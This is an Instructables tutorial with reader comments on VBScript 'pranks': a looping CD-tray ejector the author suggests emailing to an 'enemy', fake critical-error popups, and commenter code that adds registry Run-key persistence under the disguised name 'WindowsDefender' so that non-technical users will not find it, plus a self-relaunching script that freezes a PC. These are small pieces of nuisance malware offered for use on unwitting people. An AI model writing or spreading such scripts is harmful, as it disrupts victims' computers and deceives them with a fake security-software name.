Instructables
Picture of visual basic scripting tricks (2)
visual basic scripting is scripting that has the potential to do any physical function that a computer has. i shall be showing two tricks of vbs

vbs files by the way, are saved as w/e.vbs (in the sense of w/e meaning whatever you want, not literally w/e). they similar to batch files, just different functions
 
Remove these adsRemove these ads by Signing Up

Step 1: Continous disk opener

Picture of continous disk opener
this will be a continuous disk opener, open notepad and write:
do

Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection

if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
End If

loop

save as w/e.vbs. send as an email attachment, and laugh at your enemy hahaha

Step 2: ERROR!!!

Picture of ERROR!!!
To make it appear as error, error, error, write the following:

lol = msgbox ("Critical error!" ,16, "ERROR")

(copy and paste 100 times, save as a .vbs file)

Step 3: Conclusion

Picture of conclusion
well, that's all i know about vb scripting, if you hav any suggestion, please tell me and i shall change it
Awal4real2 years ago
any script to copy the file to the start up folder automatically?
stealth45 years ago
lol i love the disc one, does it stop if you delete the file or restart the pc? idont know much about vb
 it stops when you restart :)
Or kill the wscript process, using Task Manager or a shortcut to taskkill.exe.
UBERBANKAI4 years ago
You could just type

do
lol=msgbox("Critical Error",16,"ERROR")
loop

for a continuous error message
n1cod3mus4 years ago
Dim moo1
Set WshShell = WScript.CreateObject("WScript.Shell")
moo1=Wscript.ScriptFullName

'WshShell. RegWrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsDefender", moo1, "REG_SZ"
---------------

adds it to the registry for start up
kei104 years ago
Yes it stops, but you can put this in Startup folder next logon the file itself will be executed.
n1cod3mus kei104 years ago
Dim moo1
Set WshShell = WScript.CreateObject("WScript.Shell")
moo1=Wscript.ScriptFullName

WshShell. RegWrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsDefender", moo1, "REG_SZ"
----------------------------------

the above code will automatically add this to the registry for startup, most non techie people would find it mega hard to find it, plus i named the key WindowsDefender so its unlikly it will get picked up quickly as a false registry entry
Radobot5 years ago
How to froze pc:

Set x = CreateObject(Wscript.Shell)
x.Run C:\WINDOWS\forzing.vbs
For i = 1 To 3
i = 2
Next

Just save it to C:\WINDOWS and name it 'forzing.vbs'
It is a vbs worm! 
lol i had to hold dowwn the power button to make it stop
zetsway5 years ago
I ran the script on my own PC. I couldn't stop laughing :)
Oy, you kin make something more useful, like a web browser, or a autoloading virus thingy. This is a BIT simple, but nice job.
BatchMan5 years ago
will this work:

sub pwn()
lol = msgbox ("Critical error!" ,16, "ERROR")
pwn()
end sub
pwn()
add "Do" to the top and "Loop" to the bottom, it will keep repeating until you shut down your computer or go to task manager - processes - and end proccess "wscript.exe"
I3uckwheat6 years ago
your right meeze it is a copy! duh it is
this is so plagerised
Wonder where you got that code from... Hmm look at my instructablehere
cool i liked that picture where is said ERROR
thefirstgaruga (author)  GorillazMiko6 years ago
?? that's ok